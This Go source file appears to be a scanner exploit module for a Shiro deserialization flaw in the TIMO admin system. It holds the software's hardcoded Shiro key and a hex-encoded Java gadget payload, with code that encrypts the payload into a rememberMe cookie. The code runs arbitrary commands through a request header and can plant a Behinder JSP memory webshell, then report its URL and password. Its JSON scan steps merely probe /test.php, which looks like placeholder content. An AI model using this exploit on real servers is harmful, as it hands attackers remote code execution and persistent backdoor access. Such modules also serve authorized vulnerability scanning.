package exploits

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"encoding/hex"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"io"
	"net/url"
	"strings"
)

func init() {
	expJson := `{
    "Name": "TIMO Shiro Deserialization Vulnerability",
    "Description": "<p>TIMO background management system, a background management system developed based on SpringBoot2.0+Spring Data Jpa+Thymeleaf+Shiro, adopts a modular approach to facilitate development and maintenance, and supports the separate deployment of front and background modules. At present, it supports the following functions: permission management, department management, dictionary management, log recording, file upload, code generation, etc. It is a scaffold for rapid development of background systems.</p><p>There is a shiro deserialization vulnerability in TIMO v2.0 and earlier versions. The vulnerability originates from the hard coded shiro key in the software. Attackers can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
    "Product": "Timo",
    "Homepage": "https://gitee.com/aun/Timo",
    "DisclosureDate": "2022-11-11",
    "Author": "su18@javaweb.org",
    "FofaQuery": "title=\"Timo登录\" || body=\"TIMO后台管理系统\"",
    "GobyQuery": "title=\"Timo登录\" || body=\"TIMO后台管理系统\"",
    "Level": "3",
    "Impact": "<p>There is a shiro deserialization vulnerability in TIMO v2.0 and earlier versions. The vulnerability originates from the hard coded shiro key in the software. Attackers can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</p>",
    "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update: <a href=\"https://gitee.com/aun/Timo\">https://gitee.com/aun/Timo</a></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
    "References": [],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "CommonsBeanutils1",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "TFMSFromRequest",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "classBytes",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "OR",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php ",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [],
    "CNNVD": [],
    "CNVD": [],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "TIMO 后台管理系统 Shiro 反序列化漏洞",
            "Product": "Timo",
            "Description": "<p>TIMO 后台管理系统，基于SpringBoot2.0 + Spring Data Jpa + Thymeleaf + Shiro 开发的后台管理系统，采用分模块的方式便于开发和维护，支持前后台模块分别部署，目前支持的功能有：权限管理、部门管理、字典管理、日志记录、文件上传、代码生成等，为快速开发后台系统而生的脚手架。<br></p><p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">TIMO</span>&nbsp;v2.0&nbsp;及之前的版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。</p>",
            "Recommendation": "<p>1、官方暂未修复该漏洞，请用户联系厂商修复漏洞：<a href=\"https://gitee.com/aun/Timo\">https://gitee.com/aun/Timo</a></p><p>2、通过防火墙等安全设备设置访问策略，设置白名单访问。</p><p>3、如非必要，禁止公网访问该系统。</p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">TIMO</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">&nbsp;v2.0&nbsp;及之前的版本存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。</span><br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "TIMO Shiro Deserialization Vulnerability",
            "Product": "Timo",
            "Description": "<p>TIMO background management system, a background management system developed based on SpringBoot2.0+Spring Data Jpa+Thymeleaf+Shiro, adopts a modular approach to facilitate development and maintenance, and supports the separate deployment of front and background modules. At present, it supports the following functions: permission management, department management, dictionary management, log recording, file upload, code generation, etc. It is a scaffold for rapid development of background systems.<br></p><p>There is a shiro deserialization vulnerability in TIMO v2.0 and earlier versions. The vulnerability originates from the hard coded shiro key in the software. Attackers can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.<br></p>",
            "Recommendation": "<p>1. There is currently no detailed solution provided, please pay attention to the manufacturer's homepage update:&nbsp;<a href=\"https://gitee.com/aun/Timo\">https://gitee.com/aun/Timo</a></p><p>2. Set access policies and whitelist access through security devices such as firewalls.</p><p>3. If not necessary, prohibit public network access to the system.</p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">There is a shiro deserialization vulnerability in TIMO v2.0 and earlier versions. The vulnerability originates from the hard coded shiro key in the software. Attackers can use this key to generate malicious serialized data, execute arbitrary code on the server, execute system commands, or hack into the memory horse to obtain server permissions.</span><br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10704"
}`

	shiroAesEncryptGCM1923817648179 := func(payloadByte []byte, key string) string {
		keyBytes, _ := base64.StdEncoding.DecodeString(key)
		block, _ := aes.NewCipher(keyBytes)
		nonce := make([]byte, 16)
		io.ReadFull(rand.Reader, nonce)
		aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
		ciphertext := aesgcm.Seal(nil, nonce, payloadByte, nil)
		return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
	}

	sendPayload198746187 := func(u *httpclient.FixUrl, payloadByte []byte, key string, cmd string, payload string, referer string) (*httpclient.HttpResponse, error) {
		if payload == "" {
			cfg := httpclient.NewGetRequestConfig("/login")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "rememberMe="+shiroAesEncryptGCM1923817648179(payloadByte, key))
			if cmd != "" {
				cfg.Header.Store("X-Token-Data", cmd)
			}
			return httpclient.DoHttpRequest(u, cfg)

		} else {
			cfg := httpclient.NewPostRequestConfig("/login")
			cfg.VerifyTls = false
			cfg.Header.Store("Cookie", "rememberMe="+shiroAesEncryptGCM1923817648179(payloadByte, key))
			cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
			cfg.Header.Store("Referer", referer)
			cfg.Data = "dc=" + url.QueryEscape(payload)
			return httpclient.DoHttpRequest(u, cfg)
		}
	}

	key := "WcfHGU25gNnTxTlmJMeSpw=="
	echoPayload := "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E732E6265616E7574696C732E4265616E436F6D70617261746F72E3A188EA7322A4480200024C000A636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F537472696E673B78707372002A6A6176612E6C616E672E537472696E672443617365496E73656E736974697665436F6D70617261746F7277035C7D5C50E5CE02000078707400106F757470757450726F706572746965737704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78700000000000000000757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000124BCAFEBABE0000003101020A001F006E0A0022006F0A007000710A007200730A007200740A001F00750800760A001D00770A007800790A0078007A07007B0A0072007C08007D0A0022007E08007F0800800700810800820800830700840A001D00850800860800870700880B001800890B0018008A08008B08008C07008D0A001D008E07008F0A009000910800920700930800940A0022009508009609002700970700980A0027009908009A0A0070009B0A0022009C08009D08009E08009F0800A00800A10700A20800A30800A40A001D00A50700A60800A70A003100A80700A90800AA0800AB0800AC0A002700AD0800AE0700AF0900B000970A001D00B10A009000790A002700B20A005500B30A00B000B40800B50800B60700B70700B80A0048006E0A004700B90A004800BA0800BB0A001D00BC0800BD0A004800BE0800BF0700C00800C10800C20700C30701010100063C696E69743E010003282956010004436F6465010009746F43537472696E67010016284C6A6176612F6C616E672F537472696E673B295B4201000D537461636B4D61705461626C650100083C636C696E69743E0700C50700C60700C707009307008F0700840700880700C80700A207008D0700A60700C90700CA0700B70700B80700C00700C30C005600570C00CB00CC0700CD0C00CE00CF0700C70C00D000D10C00D200D30C00D400D5010007746872656164730C00D600D70700C60C00D800D90C00DA00DB0100135B4C6A6176612F6C616E672F5468726561643B0C00DC00DD010004657865630C00DE00DF010004687474700100067461726765740100126A6176612F6C616E672F52756E6E61626C6501000674686973243001000768616E646C657201001E6A6176612F6C616E672F4E6F537563684669656C64457863657074696F6E0C00E000D5010006676C6F62616C01000A70726F636573736F727301000E6A6176612F7574696C2F4C6973740C00E100E20C00DA00E301000372657101000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00E400E50100106A6176612F6C616E672F4F626A6563740700CA0C00E600E70100096765744865616465720100106A6176612F6C616E672F537472696E6701000C582D546F6B656E2D446174610C00E800E90100097365745374617475730C00EA00EB0100116A6176612F6C616E672F496E74656765720C005600EC0100076F732E6E616D650C00ED00EE0C00EF00DD01000377696E010003636D640100022F630100092F62696E2F626173680100022D6301000F73756E2F6D6973632F556E73616665010009746865556E736166650100156A6176612E6C616E672E554E495850726F636573730C00F000F10100206A6176612F6C616E672F436C6173734E6F74466F756E64457863657074696F6E0100156A6176612E6C616E672E50726F63657373496D706C0C00F200F30100025B4201000F6C61756E63684D656368616E69736D01000A68656C706572706174680100076F7264696E616C0C00F400E201000B666F726B416E64457865630100025B490700F50C00F600E50C00F700F80C0059005A0C00F700F901000B696E697453747265616D7301000E676574496E70757453747265616D0100136A6176612F696F2F496E70757453747265616D01001D6A6176612F696F2F4279746541727261794F757470757453747265616D0C00FA00FB0C00FC00FD0100246F72672E6170616368652E746F6D6361742E7574696C2E6275662E427974654368756E6B0C00FE00FF01000873657442797465730C010000CC010007646F577269746501001F6A6176612F6C616E672F4E6F537563684D6574686F64457863657074696F6E0100136A6176612E6E696F2E42797465427566666572010004777261700100136A6176612F6C616E672F457863657074696F6E0100306F72672F737531382F79737573657269616C2F7061796C6F6164732F74656D706C617465732F546F6D6361744563686F0100156A6176612F6C616E672F54687265616447726F75700100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F5468726561640100135B4C6A6176612F6C616E672F537472696E673B0100035B5B420100186A6176612F6C616E672F7265666C6563742F4D6574686F64010008676574427974657301000428295B420100106A6176612F6C616E672F53797374656D0100096172726179636F707901002A284C6A6176612F6C616E672F4F626A6563743B494C6A6176612F6C616E672F4F626A6563743B4949295601000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B01000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B01000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A01000D6765745375706572636C61737301000473697A650100032829490100152849294C6A6176612F6C616E672F4F626A6563743B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076973456D70747901000328295A010004545950450100114C6A6176612F6C616E672F436C6173733B0100042849295601000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B01000B746F4C6F77657243617365010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B010010616C6C6F63617465496E7374616E6365010025284C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F4F626A6563743B010008696E7456616C75650100116A6176612F6C616E672F426F6F6C65616E0100116765744465636C617265644D6574686F6401000776616C75654F660100162849294C6A6176612F6C616E672F496E74656765723B010016285A294C6A6176612F6C616E672F426F6F6C65616E3B01000472656164010005285B4229490100057772697465010007285B424949295601000B6E6577496E7374616E636501001428294C6A6176612F6C616E672F4F626A6563743B01000B746F42797465417272617901002D6F72672F6170616368652F78616C616E2F7061727365722F6E6F64652F415354537472696E674C69746572616C00210055001F000000000003000100560057000100580000001100010001000000052AB70001B10000000000090059005A000100580000003900050003000000242AC7000501B02AB600024C2BBE0460BC084D2B032C032BBEB800032C2CBE046403542CB000000001005B000000030001060008005C0057000100580000075B000800260000051F033BB80004B600054C2BB600061207B600084D2C04B600092C2BB6000AC0000BC0000B4E03360415042DBEA204EF2D1504323A051905C70006A704DB1905B6000C3A061906120DB6000E9A000D1906120FB6000E9A0006A704BD1905B600061210B600084D2C04B600092C1905B6000A3A071907C100119A0006A7049A1907B600061212B600084D2C04B600092C1907B6000A3A071907B600061213B600084DA700163A081907B60006B60015B600151213B600084D2C04B600092C1907B6000A3A071907B60006B600151216B600084DA700103A081907B600061216B600084D2C04B600092C1907B6000A3A071907B600061217B600084D2C04B600092C1907B6000AC00018C000183A0803360915091908B900190100A203F019081509B9001A02003A0A190AB60006121BB600084D2C04B600092C190AB6000A3A0B190BB60006121C03BD001DB6001E190B03BD001FB600203A0C190BB60006122104BD001D5903122253B6001E190B04BD001F5903122353B60020C000223A061906C6037C1906B600249A0374190CB60006122504BD001D5903B2002653B6001E190C04BD001F5903BB0027591100C8B7002853B6002057013A0D1229B8002AB6002B122CB6000E99001B06BD00225903122D535904122E5359051906533A0DA7001806BD00225903122F53590412305359051906533A0D12311232B600083A0E190E04B60009190E01B6000AC000313A0F013A101233B800343A10A7000C3A111236B800343A10190F1910B600373A11190DBE0464BD00383A121912BE361303361415141912BEA2002319121514190D1514046032B600025315131912151432BE603613841401A7FFDB1513BC083A1403361519123A161916BE361703361815181517A2002719161518323A19191903191415151919BEB8000315151919BE0460603615841801A7FFD804BC0A3A1606BC0A5903024F5904024F5905024F3A1719101239B600083A181910123AB600083A19191804B60009191904B6000919181911B6000A3A1A19191911B6000AC00038C000383A1B191AB60006123B03BD001DB6001E191A03BD001FB60020C00027B6003C361C1910123D100ABD001D5903B20026535904123853590512385359061238535907B20026535908123853591006B2002653591007123853591008123E53591009B2003F53B600403A1D191D04B60041191D1911100ABD001F5903151C0460B80042535904191B535905190D0332B8004353590619145359071912BEB8004253590801535910061916032EB8004253591007015359100819175359100903B8004453B60020571910124504BD001D5903123E53B600403A1E191E04B60041191E191104BD001F5903191753B60020571910124603BD001DB6001E3A1F191F04B60041191F191103BD001FB60020C000473A20BB004859B700493A21033622110400BC083A2319201923B6004A593622029F001019211923031522B6004BA7FFE8124CB800343A241924B6004D3A071924124E06BD001D59031238535904B20026535905B2002653B60040190706BD001F59031921B6004F535904BB00275903B700285359051921B6004FBEB8004253B6002057190CB60006125004BD001D5903192453B6001E190C04BD001F5903190753B6002057A700513A241252B800343A251925125304BD001D5903123853B60040192504BD001F59031921B6004F53B600203A07190CB60006125004BD001D5903192553B6001E190C04BD001F5903190753B6002057043B043B1A990006A70009840901A7FC0A1A990006A7000EA700053A05840401A7FB10A700044BB10009009500A000A3001400C300D100D4001402120219021C0035043104A604A90051002E003905120054003C005705120054005A007A05120054007D050C051200540000051A051D00540001005B000001E2001FFF002700050107005D07005E07000B010000FC001407005FFC001A07006002FC002207006165070062125D0700620CFD002D07006301FF00D0000E0107005D07005E07000B0107005F07006007006107006301070061070061070061070064000014FF002600110107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066000107006708FF001A00150107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E07006507006607006107006801010000FA0027FF001400190107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066070061070068010700380107006801010000F8002AFF016D00240107005D07005E07000B0107005F0700600700610700630107006107006107006107006407005E070065070066070061070068010700380107003E07003E07005E07005E0700610700380107006907006907006907006A07006B0107003800001AF7007707006CFB004DFF0003000D0107005D07005E07000B0107005F070060070061070063010700610700610700610000F80006FA0005FF000600050107005D07005E07000B0100004207006D01FF0005000000004207006D0000007571007E0010000000F9CAFEBABE0000003300110100216F72672F6170616368652F786D6C2F6C616E672F6D6174682F4672616374696F6E0700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C6501000D4672616374696F6E2E6A61766101001073657269616C56657273696F6E5549440100014A0571E669EE3C6D471801000D436F6E7374616E7456616C75650100063C696E69743E0100032829560C000C000D0A0004000E010004436F646500210002000400000001001A000700080001000B00000002000900010001000C000D000100100000001100010001000000052AB7000FB1000000000001000500000002000670740008414D544D4241474C707701007871007E000D78"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			randStr := goutils.RandomHexString(12)
			gadget, _ := hex.DecodeString(echoPayload)
			resp, err := sendPayload198746187(u, gadget, key, "echo "+randStr, "", "")
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				gadget, _ := hex.DecodeString(echoPayload)
				resp, err := sendPayload198746187(expResult.HostInfo, gadget, key, cmd, "", "")
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)
				classBytes := ss.Params["classBytes"].(string)

				if serializedData == "" || classBytes == "" {
					serializedData, classBytes, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				}

				data, _ := base64.StdEncoding.DecodeString(serializedData)
				resp, err := sendPayload198746187(expResult.HostInfo, data, key, "", classBytes, referer)

				if err == nil && resp.StatusCode == 200 &&
					(strings.Contains(resp.RawBody, "Success") || strings.Contains(resp.RawBody, "Filter already exists")) {
					cfg := httpclient.NewGetRequestConfig("/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		},
	))
}
